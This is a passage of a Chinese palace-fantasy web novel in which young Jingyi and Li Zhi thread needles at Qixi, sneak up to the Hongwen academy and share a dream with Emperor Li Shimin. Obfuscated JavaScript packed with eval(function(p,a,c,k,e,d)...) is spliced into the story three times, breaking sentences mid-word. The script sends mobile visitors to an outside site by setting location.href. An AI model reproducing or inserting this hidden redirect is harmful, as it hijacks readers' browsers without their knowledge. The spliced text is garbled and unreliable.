第二个盒子打开,网也结了,但形状略有些不规则,中间有个小小的破洞,丝线也稍显杂乱。这是李治在笔筒里捉到的那只“懒蜘蛛”的杰作。 第三个、第四个盒子里的网则更简单些,只是寥寥几根丝线搭了个架子,勉强算是“网”。 “看来,是阿姊和豫章阿姊捉的这只最巧!”景颐指着那张完美的小圆网,宣布道,小脸上满是公平裁决的神气。 丽质和豫章相视一笑,眼中都有小小的得意。豫章温声道:“也是它自己肯用心,这网结得如此工整,想必是只极有耐性的蜘蛛。” “那这只最巧的蜘蛛,是不是就能保佑阿姊和豫章阿姊手最巧?”李治好奇地问。 “心诚则灵。”豫章含笑答,小心地将盒盖重新虚掩,以免惊扰了里面劳碌一夜的小工匠。“待午后,将它们放归花草之间便好。” 午后,宫中较年长的宫女和妃嫔会在庭院中斗巧,比赛绣花、剪纸、编织小物等。丽质和豫章也去观摩了一会儿,带回来许多精巧的剪纸花样和络子打法,兴致勃勃地讨论着。 而凝云轩里,景颐和李治则在进行他们自己的斗巧,即用昨儿剩下的彩线,试图编出最复杂的绊马索和李治想象的捆仙绳。结果自然是打成死结无数,最后不得不求助宫女姐姐用剪刀解救。 夕阳西斜,宫中渐渐热闹起来。乞巧楼张灯结彩,宫女们捧着各色时鲜瓜果、精巧面点、醇香美酒穿梭往来。长孙皇后将主持今晚的祭祀与宴会,后宫妃嫔、有品阶的女官、以及宗室贵女们都会参加,那是一个属于女子的、华丽而正式的场合。 丽质和豫章作为公主,自然要盛装出席。两人换上崭新的衣裙,发间 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景颐和李治早已沐浴更衣,换上干净舒适的常服,坐在廊下边等着阿姊们边一起玩着翻花绳。 不知过了多久,月亮已升高,清辉洒满庭院。两个轻盈的身影悄悄从月洞门溜了进来,正是丽质和豫章。她们已褪去了宴会上的华服珠翠,换上了与景颐他们相似的浅色常服,发髻也松了下来,只用丝带轻束,在月光下跑动时衣袂飘飘,恍若小仙子。 “可算溜出来了!”丽质舒了口气,脸上带着俏皮的笑意,“娘娘那里正行酒令,我们便说更衣透气。” 豫章也微微一笑,眼中也难得流露出属于孩童的轻松雀跃。 四人聚到小案边。月光如水,倾泻在他们身上,周遭虫鸣唧唧,更显夜色宁静。 “我们先拜织女星,乞求巧思。”豫章轻声引导,四个孩子面向夜空,找到那颗明亮柔和的织女星,学着白日所见大人们的模样,双手合十,闭上眼睛,默默许下心愿。 景颐闭着眼,心里嘀咕:希望师父早点找到琴谱,希望李叔叔和大姐姐身体棒棒,希望阿姊和豫章阿姊手越来越巧,希望雉奴快快长高,希望自己……嗯,希望作业少少的!还有,希望以后做梦,能多梦见好吃的,少梦见吓人的。 许完愿,重头戏开场,对月穿针。 “需得一次穿过,方算得巧。”丽质将丝线分给大家,又每人发了一枚金针。 景颐捏着针,又看看手里那缕颜色斑驳的五彩线,觉得线头有点毛。他学着豫章的样子,将线头放在嘴边抿了抿,试图让它变得顺滑尖细些,然后眯起一只眼,对着月光,小心翼翼地将线头往针鼻里送。 第一次,歪了。 第二次,线头分叉了。 第三次,眼看要进去了,手一抖,又偏了。 旁边的李治更惨,小胖手捏针都捏不稳,线头更是几次都没挨着针鼻。 丽质和豫章那边却顺利得多。豫章神色专注,手指极稳,只试了两次,那彩线便“倏”地一下穿过了针鼻,在月光下轻轻晃动。她轻轻舒了口气,眼中露出笑意。 丽质稍慢一些,但也在第四次尝试时成功穿过,她高兴地轻呼一声。 “啊!我也要穿过去!”景颐见状,更着急了,小脸都憋红了。他深吸一口气,努力让自己静下来,回想着豫章刚才的样子,手指不再乱抖,看准针鼻,缓缓推进…… 感觉到了!线头触到了针鼻边缘!他屏住呼吸,轻轻一送—— 月光下,那缕并不匀净的彩线,颤巍巍地,终于穿过了小小的金针针鼻! “我成功啦!”景颐欢呼起来,举着穿好线的针,在月光下雀跃。 李治还在努力,小嘴抿得紧紧的。大家都停下看着他,轻声鼓励。终于,在尝试了不知多少次后,李治也成功将线穿了过去!他立刻咧嘴笑了,笑得很是傻气。 “我们都成功了!”丽质拍手笑道,“看来织女娘娘听到我们的心愿了!” 四人相视而笑,月光将他们的影子拉得很长,交织在一起。他们分享着瓜果巧饼,喝着甜甜的蜜水,叽叽喳喳说着今晚宴会上的见闻、白天蛛网的趣事,还有对未来的小小幻想。 夜风轻柔,星河璀璨,乞巧楼方向的喧嚣仿佛隔得很远很远。 远处隐隐传来更鼓声,夜色渐深,但孩子们的笑语,却仿佛能点亮一整片星空。 53.第 53 章 自七夕后,长安的暑气渐渐消退,入了秋。凝云轩的桂树开了第一茬花,甜香幽幽。 景颐偶尔会在夜半醒来,倒不是因为噩梦,而是脑海里会闪过一些破碎却鲜明的画面: 无边的、枯黄翻卷的草原,凛冽如刀的风,远处低垂的、仿佛触手可及的铅灰色天空,还有一道模糊的、骑着骏马、身姿挺拔背影,在天地间驰骋,衣袂与马尾在风中猎猎作响,带着一股一往无前的锐气。 那背影很像霍去病,但又看不清面容,只觉得那气息既熟悉又遥远。他想追上去看清楚,梦境便倏然消散,只剩心头一丝莫名的怅惘,和鼻尖仿佛残留的、混合着青草与尘土气息的凛冽秋风。 “师父,”有一次午饭后,他趴在琴案边,看长琴调弄琴弦,忍不住问,“我有时会梦到大漠,还有霍将军的背影,可是很模糊,想去又去不了。是……我的溯梦又出问题了吗?” 长琴指尖拂过琴弦,带起一个清越的音,他抬眸,目光平静地落在景颐带着困惑的小脸上。 “非是问题。”他淡淡道,“是你心有所系,灵力又因残谱略有所进,故能感应到些许遥远时空的残影。然,缘法未至,时机未到,强求无益,静心以待即可。” “时机未到……”景颐小声重复,托着腮,有些失望,但又觉得师父说得肯定有道理。好吧,那就等着吧,说不定哪天就能看清楚了呢?他晃晃脑袋,把这点怅惘甩开,又跑出去找李治玩了。 李治的启蒙课程也渐渐步入正轨。每日上午,都会有专门的保傅来教他识字、诵读《千字文》、《急就篇》等启蒙读物。景颐自告奋勇要当伴读,起初还兴致勃勃地跟着听,觉得“天地玄黄”念起来挺有气势。 但没过一天,他就坐不住了。学士讲“日月盈昃”,他就盯着窗外的云看哪朵像兔子;学士教“寒来暑往”,他就开始琢磨晚上吃什么点心;李治握着笔认真描红,他就在旁边用毛笔画乌龟,还试图给李治写的“人”字画上四肢和尾巴。 长孙皇后来看过两次,只是笑着摇头,并未严厉斥责,但长琴看不下去了。 这日,景颐又借口喝水,企图溜出书房去后院看蚂蚁搬家,刚溜到门口,后衣领就被人拎住了。 一回头,是师父没什么表情的脸。 “既为伴读,当有伴读之实。”长琴声音平淡,却不容置疑,“回去,坐好。今日将《千字文》前十句抄写十遍,写不完,点心减半。” “啊?师父!”景颐哀嚎,试图用星星眼蒙混过关。 长琴不为所动,直接拎着他坐回李治旁边的座位,将笔塞进他手里,对一旁忍笑的保傅微微颔首:“有劳先生,从严管教。” 于是,景颐的三天打鱼两天晒网式启蒙,正式升级为被师父提溜着跟在雉奴后面的强制学习模式。 虽然他还是会偷懒、走神、在纸上画小人,但在长琴偶尔扫过的目光和点心减半的威胁下,总算能老老实实坐上大半个时辰,也勉强认识了百来个字,虽然写得歪歪扭扭,像被大风刮过的稻草。 李治倒是很高兴有景颐陪伴,学得更起劲了,偶尔还会像个小先生一样,指点景颐某个笔画写错了,得到景颐一句不服气的“我那是麒麟体!你不懂!”的强词夺理。 弘文馆是宫中藏书、修书,也是皇子、近支宗室及部分重臣子弟读书进修的地方。李承乾和李泰每日大半时间都在这里,跟随当世大儒学习经史子集、治国方略。 景颐和李治在凝云轩待闷了,或是想找兄长们玩时,就会手拉手,哒哒哒地跑去弘文馆。馆舍恢弘肃穆,平时极为安静,只闻朗朗书声与先生讲学之声,两个小不点的突击访问,成了馆中一景。 起初,他们只敢在课间休息时,扒在学堂的窗户或门边,探头探脑。李承乾或李泰看见,便会出来,给他们些点心,说几句话。 后来胆子大了,有时趁着先生转身板书,他俩就猫着腰,想溜进去坐到兄长身边,结果十有八九会被耳聪目明的老夫子逮个正着。 “门外何人?” 某位以严肃著称的陆博士猛地转身,目光如电。 景颐和李治吓得立刻站直,像两棵突然被雷劈到的小蘑菇,手还紧紧牵着。 李承乾连忙起身:“先生,是舍弟李治,与……与宫中晚辈景颐,年幼贪玩,误入馆舍,惊扰课堂,学生这就带他们出去。” 陆博士捋着花白的胡子,目光在两个孩子身上扫过,尤其在景颐脸上多停留了一瞬。 宫中关于这位颇得帝后青眼的小郎君的传闻,他也有所耳闻。见两个孩子虽然有些惊慌,但眼神清澈,衣着整洁,尤其是那叫景颐的,眼睛滴溜溜转,透着机灵,不似顽劣之徒。 “既来了,便是缘分。”陆博士板着的脸稍微松了松,“可曾启蒙?识字几何?” 李治老实回答:“正在学《千字文》。” 景颐眨眨眼,也乖乖道:“认得一些字,会背一点。” “哦?”陆博士来了兴趣,“那我考考你们。‘赵钱孙李’,下一句是什么?” 这个简单!李治立刻脆生生接上:“周吴郑王!” “嗯。‘天地玄黄’之后呢?” “宇宙洪荒!”这次是景颐抢答,声音响亮。 陆博士点点头,又问了句:“‘寒来暑往’,何解?” 李治想了想,答道:“是说冬天冷了,夏天热了,时间过去了。” 景颐补充:“还有秋天来了,春天走了!” 他记得师父说过四季轮转。 虽不算精确,但意思大致不差,陆博士眼中露出一丝笑意,不再为难他们,挥挥手:“尚可,弘文馆乃清静向学之地,不可喧哗嬉闹。去玩吧,莫再乱闯课堂。” “谢谢先生!”两个孩子如蒙大赦,连忙行礼,然后被李承乾带了出去。 经过这么一两回,馆中学子们也都认识了这两个可爱的小家伙。课间休息时,常有年轻学子逗他们玩,问些有趣的问题,或是给他们讲些书里的奇闻异事。景颐嘴甜,见人就叫“阿兄”,很快混熟了。李治则有些害羞,但也会乖乖听着。 长孙冲年纪稍长,性情温和,颇有乃父之风,见景颐和李治可爱,常给他们带些宫外的新巧零食。唐善识则活泼跳脱些,最爱逗景颐,有时抢他的点心,被景颐追着满院子跑,最后往往以唐善识“上贡”双倍点心告终,惹得众人哄笑。 这日午后,课间休息,几个相熟的学子聚在馆舍外的回廊下闲聊。阳光暖融融的,景颐和李治正蹲在旁边看蚂蚁搬家,顺便偷听兄长们“高谈阔论”,他们觉得那些听不懂的词儿听起来可厉害了。 长孙冲、唐善识,还有另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273752|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外两三个学子,先是讨论了一阵今日先生所讲的《汉书》,又说起近来长安文会上流行的诗风。说着说着,话题不知怎的,就转到了些新鲜事上,声音也下意识压低了些。 “……听家父提及,户部近来似在推行一种新的算具,叫什么珠算,与算筹不同,是拨弄木框中的珠子,据说计算田亩赋税、仓库出入,比算筹快上许多,只是用法繁复,还在让司农寺和将作监的人琢磨口诀。” 一个眉眼清秀、姓杜的学子说道。 “我也听舅舅说了,”唐善识接口,他舅舅在将作监任职,“将作监那边好像还在折腾些更……吓人的东西。说是从什么丹方、伏火法子里化出来的,硝石、硫磺之类,混在一起,用火一点,能爆出巨响,火光冲天,比爆竹厉害百倍。监里私下试验,都圈了好大一块地,生怕出事。陛下似乎颇关注此物。” “爆响?火光?” 长孙冲微微蹙眉,“可是用于军中?此等事物,危险莫测,还是谨慎为要。” “何止军中,”另一个面色沉稳、姓房的学子声音压得更低,“前日偶然听家叔与访客谈起,似乎陛下与几位相公,还在思量地方上的事。好像是觉得如今州、县两级,有时政令传达不够迅捷,或是……对某些边远、新附之地的掌控,尚有可加强之处。似乎有意在某些要地,增设一层临时的……嗯,权且叫巡察或安抚之类的使职,不常设,有需要才派重臣前往,专责某些棘手事务,事毕即撤。不过这都是极粗略的念头,还在议论,做不得准。” 几人说到这里,都默契地住了口,互相看了一眼。他们都是官宦子弟,深知有些话不可多说,尤其涉及朝廷未定的方略。唐善识打了个哈哈,岔开话题:“哎,说这些作甚,还是说说前日崇仁坊那场诗会,褚兄那首《秋兴》,真是得了庾开府的精髓……” 他们很快又回到文章诗赋的讨论上,仿佛刚才那番关于低声交谈从未发生过。 但蹲在旁边的景颐,小耳朵却悄悄竖了起来。他虽然听不懂“州县”、“使职”这些,但“珠子算数”、“会爆炸的厉害东西”,还有“陛下在琢磨新事”,这些词却让他觉得很新奇。 尤其是“会爆炸的东西”,他立刻想起了之前在梦里看到的喷火龙,还有李叔叔之前好像也问过师父关于火的事……难道李叔叔就是在研究这个? 他正胡思乱想,李治拉了拉他的袖子,指着一只搬着巨大饭粒的蚂蚁,小声道:“景颐,你看它好厉害!” “嗯嗯,厉害。”景颐心不在焉地点头,心里还在琢磨爆炸和珠子算数哪个更好玩。他觉得爆炸可能更刺激,但算数珠子……说不定能用来算他还有多少块点心没吃? 这时,唐善识又凑过来,手里拿着块芝麻糖在景颐眼前晃:“小景颐,发什么呆呢?来,叫声‘子文阿兄最英俊’,糖就给你。” 景颐的注意力立刻被芝麻糖吸引了,他皱皱小鼻子,先下手为强,一把抢过糖,塞进嘴里,然后才口齿不清、理直气壮地说:“明明师父和李叔叔最英俊!大兄第二英俊!四兄……嗯,也还行!子文阿兄你排后面!” “嘿!你这小没良心的!糖还我!” 唐善识作势要抢,景颐早已咯咯笑着躲到长孙冲身后,李治也笑着往景颐身边靠。回廊下响起一片少年人们轻松的笑闹声,将之前那点涉及朝政的短暂严肃吹得烟消云散。 54.第 54 章 秋阳正好,午后,李世民处理完几件急务,见秋光甚好,一时兴起,对随侍的房玄龄、长孙无忌、唐俭等几位近臣笑道:“诸卿,终日案牍劳形,不若随朕去弘文馆走走,看看那些少年郎用功如何,也松快松快筋骨。” 几位大臣自然无有不应,一行人便缓步往弘文馆行去,并未事先通报。 行至馆舍窗外,正听得里面夫子讲学。李世民正欲迈步靠近,目光不经意扫过侧面一扇半开的窗户,脚步不由一顿,眼中闪过一丝笑意。 只见那窗棂下,两颗毛茸茸的小脑袋正凑在一起,努力踮着脚往里面看。一个梳着整齐小髻,是雉奴,另一个头发有些毛茸茸地翘着,不是景颐是谁? 他俩面前,还猫着个身影,正是唐俭家的五郎善识,正靠着窗,手舞足蹈地跟两个小的说着什么,声音压得低,但眉飞色舞,显然聊得正嗨。隐约可见旁边的长孙冲一脸无奈又好笑地看着他们。 唐俭眼尖,也看见了自家那混小子居然不好好听课,隔个窗带着两位小殿下闲聊,顿时眼前一黑,连忙重重咳嗽一声:“咳嗯!” 声音不小,奈何三人聊得太投入,唐善识正说到某处趣事,景颐和李治听得眼睛发亮,完全没听见。 唐俭脸上有点挂不住,正要提高声音,却见窗内的长孙冲机警,猛地用胳膊肘捅了唐善识一下,又急急朝窗外使眼色。 唐善识一愣,侧头,正对上自家老爹黑如锅底的脸色,以及老爹身后,天子含笑却带着审视的目光,还有一溜当朝重臣…… “!!!” 唐善识魂飞魄散,差点原地跳起来。他几乎是本能地,一把将景颐和李治的小脑袋往下一按,自己也瞬间缩回窗内,动作快如脱兔。 然后,窗内传来一阵慌乱的、刻意放大的应和声:“先生讲解得太好了!受益匪浅啊……” 语气夸张,仿佛能掩盖住方才没听讲的事实。 窗外,李世民终于忍不住,轻笑出声。他踱步到窗前,弯腰,伸出双手,精准地一手一个,提溜住了正准备跟着夸赞蒙混过关的两个小后衣领,将两颗装鸵鸟的小脑袋拔了起来。 “嗯?不待在凝云轩习字,跑到弘文馆外头,扒着窗户做什么?” 李世民故意板起脸,但眼底的笑意藏不住。 李治被抓个正着,小脸涨红,低着头,小手不安地绞着衣带,吭哧哧说不出话。 景颐却眼珠骨碌一转,迅速调整表情,努力摆出一副“我很认真”的模样,仰着小脸,理不直气也壮:“李叔叔,我们在学习呀!” “哦?学习?”李世民挑眉,“学什么?学如何扒窗根?” “不是!”景颐摇头,伸手指指窗内正襟危坐、实则竖着耳朵的唐善识,“我们在跟子文兄讨论学问!子文兄懂得可多了!在教我们!” 他毫不犹豫地把方才的闲聊定性为讨论学问。 窗内的唐善识听到自己被点名,背脊瞬间挺得更直了,心里叫苦不迭:小祖宗,您可少说两句吧! 李世民看着景颐那双写满“我很诚实快夸我”的眼睛,再看看旁边雉奴偷偷点头附和的小模样,终于绷不住,朗声笑了起来,伸手揉了揉两个小家伙的头发:“讨论学问?讨论得如此投入,连咳嗽都听不见了?” 景颐眨眨眼,假装没听懂调侃,反而顺着杆子往上爬,抱住李世民的腿,仰着脸撒娇:“李叔叔,子文兄真的讲得很好!比……比师父讲的还有趣!” “是吗?”李世民笑得更大声,存心逗他们,“既然觉得弘文馆的学问如此有趣,那不如,以后上午就跟雉奴在凝云轩习字,下午便来弘文馆,跟着兄长们一起听课,如何?也免得你们扒窗户这么辛苦。” “啊?!” 景颐和李治同时惊呼,小脸瞬间垮了下来。来弘文馆正式听课?那不是要一直坐得直直的,不能乱动,还要被夫子提问?想想就觉得可怕! “不、不要!”李治先慌了,也抱住李世民另一条腿,小声央求,“耶耶,雉奴还小……字还没认全呢……” “李叔叔!我、我坐不住!我会吵到兄长的!”景颐更是急得直接开始耍赖,把小脸贴在李世民腿上蹭啊蹭,“我在凝云轩跟师父和雉奴学就好了!我保证以后好好写字,不画乌龟了!求求你了……” 两个软乎乎、暖洋洋的小家伙一左一右挂在腿上,用那种可怜巴巴、仿佛天要塌了的眼神望着自己,奶声奶气地求饶。 李世民只觉得心都快被这两个小东西蹭化了,哪里还板得住脸?他畅快地大笑起来,连身后原本有些紧张的大臣们,见陛下如此开怀,又见两个孩子实在可爱,也都跟着抚须微笑,气氛顿时轻松下来。 此时,馆内的夫子早已听到动静,连忙带着一众学子整整齐齐地出来,在廊下向天子及诸位大臣行礼告罪,言道管教不严,让两位小殿下受扰了。 李世民笑着摆摆手:“无妨,孩童天性,好奇贪玩罢了,是我等来得不巧,扰了清静。” 他目光扫过垂首肃立的学子们,在唐善识和长孙冲身上略作停留,温声道:“方才考校了窗外两位旁听生,现在,也考考你们这些正牌学生。唐善识。” 唐善识心头一紧,连忙出列,躬身:“学生在。” “方才朕听你在窗外,与雉奴、景颐讨论学问,想来是胸有成竹。朕便问你,《礼记·大学》篇首,‘大学之道,在明明德,在亲民,在止于至善。’ 此‘亲民’二字,当作何解?与前文‘明明德’又有何关联?” 李世民问了个不偏不怪,却颇能见功底的问题。 唐善识定了定神,他虽有些跳脱,但家学渊源,自身也聪颖,功课并不差。略一思索,便朗声答道: “回陛下,学生以为,‘明明德’是发明自身光明的德性,是内圣之功,‘亲民’旧说或作‘新民’,是推己及人,使民众亦能革除旧习,日新其德,是外王之业。二者一体,明德是根本,亲民是发用,唯有自身德行光明,方能教化、亲近百姓,使其迁善。而教化百姓的过程,亦是磨砺、彰显自身明德之途。故《大学》以此三者为纲,统领八目。” 他答得清晰有条理,虽不算惊才绝艳,但也中规中矩,显是认真读过且有过思考的。李世民满意地点点头:“嗯,尚可。看来与小旁听生讨论学问时,并未荒废正业。” 这话带着调侃,众人皆笑,唐善识也松了口气,偷偷看了自家老爹一眼,见唐俭脸色稍霁。 李世民又随意点了几人,包括长孙冲。长孙冲答得更为沉稳周全,气度从容,颇有乃父之风,李世民眼中赞赏之色更浓。 考校完毕,李世民挥挥手:“好了,都答得不错,回去继续用功吧。” 众学子应诺,正要转身回馆,唐善识却下意识抬头,脱口而出:“陛下,此刻已是课间,按馆规,是休息时辰。” 他说完才觉不妥,连忙补充,“……学生是想着,方才惊扰圣驾,还未向两位小殿下正式赔罪。” 他语气活泼,带着少年人的直率,倒不显得失礼。 唐俭在旁又想瞪眼,李世民却已哈哈大笑:“好,课间休息,正当玩耍,是朕拘着你们了。去吧,玩去吧,不必赔罪了,他们没吓着就好。” 他指了指还赖在自己腿边的两个小家伙。 众学子这才真正放松下来,行礼后三三两两散开,低声谈笑,目光仍不时好奇地瞟向天子身边那对玉雪可爱的小不点。 李世民看着这些朝气蓬勃的少年,心中甚慰,目光扫过树下的长孙冲和唐善识身上又多停留了一瞬。 冲儿稳重,有容人雅量,善识跳脱,却灵透赤诚,都是他看着长大、知根知底的好孩子。更重要的是,其父长孙无忌、唐俭皆是股肱之臣,忠心不二,家风清正。 这门亲事,是他早在丽质和豫章年幼时便与观音婢商定下的。 将最疼爱的长女丽质许给兄长无忌的嫡长子,亲上加亲,互为倚仗。将自幼养在身边、性情柔嘉的豫章许给唐俭五子,既是酬功,也是为女儿寻一安稳可靠的归宿。 从家世、人品、年龄、乃至朝局平衡来看,这都是再妥当不过的安排。他本已打算,待女儿们再长一两岁,便正式下旨,风风光光地办这两桩喜事。 可今日,看着眼前鲜活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可除此之外呢?她会不会也希望遇见一个能带她去看滚滚大江、能同她诵明月的伴侣?尽管这念头荒谬,大唐的公主不需要这些,可作为一个父亲,心底那最柔软的一角,竟隐隐生出一点难以言喻的、对或许还有其他可能的飘渺遐思。 他看向唐善识,又想:善识活泼,与沉静的豫章倒是互补。可豫章那般温柔心细,善识的跳脱,是能带给她更多欢笑,还是终究需要她更多的包容与操持? 这些思绪杂乱无章,甚至有些自相矛盾,更与他素日大相径庭。他知道,这犹豫尚且模糊,远不足以动摇既定的决策,那两桩姻亲,大概率还是会按原计划进行。 这天下,没有比长孙家和唐家更让他放心的亲家了。 但他隐约觉得,女儿的终身,除了妥当,或许还应该有一些更难以捉摸、更关乎她们本心的东西。尽管他尚且说不清那是什么,也不知道在这世间礼法与皇家责任的重重框架下,又能留存多少空间。 “陛下?”身旁房玄龄的声音将他从飘远的思绪中拉回。 李世民定了定神,发现自己竟在众臣面前为女儿的婚事恍神了片刻,不禁暗自失笑。他收敛心神,对房玄龄等人道:“今日便到这里,诸卿也回去歇息吧。” “臣等告退。” 大臣们散去。李世民弯腰,将正仰头看着殿前铜鹤、似乎对那复杂的纹路产生研究兴趣的景颐和李治抱了起来。 “走,”他将心头那点关于女儿婚事的、尚不清晰的犹豫暂时压下,脸上重新露出温和的笑意,对怀里的景颐和李治说,“跟我去膳房看看,今日有什么新奇点心。方才弘文馆外,是不是被吓着了?” “才没有!”景颐立刻挺起小胸脯,但随即又抱住李世民的脖子,小声补充,“就一点点……李叔叔,我们真的不用去弘文馆上课吧?” “暂时不用。”李世民笑道,掂了掂他,“等你和雉奴把《千字文》认全了,字写得能看了再说。” “那还要好久好久!”景颐立刻高兴起来,在李治同样松了一口气的眼神中,开始叽叽喳喳地说起晚膳想吃的点心来。 李世民稳稳地抱着景颐和李治,一边一个,缓步走向膳房。秋阳将三人的影子拉得长长的,重叠在一起,温暖而安宁。 55.第 55 章 日子在读书、玩耍、偶尔的梦境碎片中平静滑过。 又是一个寻常的夜晚,景颐在睡梦中习惯性地抓住了李世民的衣角。这一次,坠入的不再是漠北的风沙或长安的街市,而是一片清冷的、带着水汽的庭院。 月色很好,皎洁如霜,洒在庭院中嶙峋的假山和稀疏的竹影上。院中有一方石桌,桌上只一壶酒,一只杯,几碟简单的、几乎未动的菜肴。 桌边坐着一个人,穿着半旧的常服,背影有些佝偻,正独自对着月亮,慢慢地、一口接一口地饮着杯中物。空气中弥漫着浓重的酒气,和一种比春夜更寒的寂寥。 “李叔叔,这个叔叔……好像很难过。”景颐小声说,他能感觉到那股沉甸甸的、几乎凝成实质的悲伤与疲惫。 李世民也察觉到了。此人身上有种久居上位、却又被某种巨大压力磨砺过的沧桑感,与李白、苏轼那种外放的愁绪或洒脱都不同,这是一种向内坍缩的孤愤。 “嗯,莫要惊扰。”李世民低声道,本想拉着景颐悄然退开,不去打扰这月下独酌的伤心人。 可景颐却挣开了他的手。或许是梦境的影响,或许是孩童纯粹的直觉,他觉得这个黑脸叔叔的难过,和李叔叔偶尔不开心时有点像,但好像更深、更重,重得让人看着心里也闷闷的。 他哒哒哒地跑过去,在石桌旁停下,仰着小脸,好奇又担忧地问:“叔叔,你为什么一个人喝酒呀?是酒不好喝,还是……没有人陪你喝?” 那人执杯的手微微一顿,似乎这才注意到身边多了两个人。他缓缓转过头,目光先是有些涣散,随即凝聚在景颐和李世民身上。那双眼眸深邃,布满了血丝,眼底是浓得化不开的忧虑、挫败,还有一丝几乎被磨灭殆尽的锐气。 他并未对这两个突然出现的的人表现出太多惊讶或警惕,或许是醉意,或许是心灰意冷到了极点,他只是扯了扯嘴角,露出一抹比哭还难看的笑。 “酒?酒自然无味。” 他的声音沙哑干涩,带着浓重的鼻音,“至于人……道不同,不相为谋,能谋者……又安在?” 他又仰头灌下一杯,辛辣的液体划过喉咙,却似乎浇不灭心头的块垒。 李世民心中一动,此人谈吐气度,绝非寻常失意文人。他走上前,在石桌对面坐下,也拿过一个空杯,自顾自地斟满,向那人举了举:“月夜独酌,易伤神。在下李二,携侄儿路过,冒昧叨扰,兄台若不嫌弃,李某愿陪饮一杯,听君一言。” 那人抬眼,仔细打量了李世民片刻。月光下,对面之人气度不凡,目光清正,自有一股令人心折的坦荡与威严,与朝中那些攻讦之辈或唯唯诺诺之徒截然不同。 或许是酒意上涌,或许是积压了太多无处诉说的苦闷,又或许是眼前这人莫名地让他觉得可以一吐为快,他沉默良久,终于再次开口,声音低缓: “新法……青苗、免役、市易、保甲……桩桩件件,皆为富国强兵,纾解民困。为何推行起来,处处掣肘,弊病丛生?为何良法美意,到了下头,就成了害民苛政?为何天公也不作美,连年旱蝗……流民塞道,易子而食……那《流民图》……呵呵……” 他苦笑着,又饮一杯,眼中血丝更甚,“都说是我之过,是我操切,是我用人不明,是我……刚愎自用。或许吧……或许吧……” 他断断续续地说着,从变法的初衷,到遇到的阻力,到同僚的反目,到天灾的打击,到皇帝的动摇……言语间充满了理想受挫的愤懑,有对时局的深深忧虑,有对自身能力的怀疑,更有一种举世非之而不加沮却最终被现实击垮的、深入骨髓的孤独与疲惫。 李世民静静地听着,心中震动不已。虽然对方说的新法具体内容与他所处的时代、所行之事不尽相同,但那种想要革除积弊、强国富民的热忱,那种推行过程中遇到的巨大阻力、来自既得利益者和不解者的攻讦,以及那种“仰不愧于天,俯不怍于人”却不得不面对惨淡现实的巨大压力与孤独感……竟让他产生了强烈的共鸣。 他仿佛看到了另一个时空里,另一个为了心中理想、在荆棘中独行的身影。 “道之所在,虽千万人吾往矣。”李世民缓缓开口,声音沉稳有力,“然,行之艰,尤甚知之。天时、地利、人和,缺一不可。法愈新,则弊愈易生;志愈坚,则谤愈易至。兄台所求者大,所担者重,非常人所能及。此中孤苦,李某……略能体会一二。” 他没有空泛地安慰,而是肯定了对方的理想与艰难。男子握着酒杯的手微微颤抖,抬眼看向李世民,眼中终于有了一丝不一样的光彩,那是一种遇到知音、至少是能理解这份孤苦之人的微光。 景颐在一旁听着,虽然大半不懂,但他能感觉到这个黑脸叔叔的伤心,还有李叔叔话里的沉重。他想了想,拿出哄李治的看家本领,凑到桌边,软软地说: “叔叔,你别难过了,你这么厉害,想了那么多办法,肯定是为了让大家过得更好,对不对?虽然现在有点难,但是……但是就像我学写字,一开始也写不好,被师父说,多练练,总会好的!还有,不开心的时候,吃甜甜的点心就会好一点!叔叔你也吃点菜吧,光喝酒肚子会痛的。” 他努力把桌上那碟看起来冷掉的、他叫不出名的菜往黑脸叔叔那边推了推。 孩童天真稚气的话语,与此刻沉重的话题格格不入,却奇异地像一缕清风吹散了些许凝滞的悲愤。他看着景颐那双澄澈的、写满关心的眼眸,又看看那碟被推过来的菜,沉默了。 他并没有像李治那样被轻易哄好,眉宇间的郁结也未散,但周身那种紧绷的、近乎绝望的气息,似乎稍稍缓和了一丝。他没有说话,只是拿起筷子,夹了一筷子那早已凉透的菜,慢慢地放进嘴里,僵硬地咀嚼着。 李世民将景颐拉回身边,轻轻拍了拍他的头,示意他安静。然后,他再次举杯,对男子道:“前路漫漫,道阻且长。然,既已启程,便无退路,保重身体,以待天时。这杯,敬兄台筚路蓝缕之心。” 男子与他默默对饮一杯,月光依旧清冷,但庭院中那令人窒息的孤寂,似乎因这短暂的、跨越理解的交谈,而悄然注入了一丝微弱却真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286603|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人间暖意。 梦境如水波荡漾,景物开始模糊、重组。李世民只觉眼前一花,再定睛时,已身处另一处天地。寒风凛冽,带着北地特有的干燥与尘土气息。 他们站在一条略显简陋却热闹的街市上,两旁店铺挂着红灯笼,行人衣着厚实,面容多是朴实甚至有些困苦,但脸上也带着几分年节将近的期盼与喜气。此处显然不是汴京。 “此地是……”李世民把景颐搂进怀里,环顾四周,这还是第一次梦境发生变化,方才还是暮春月夜庭院,眼下却俨然变成了冬日街市。 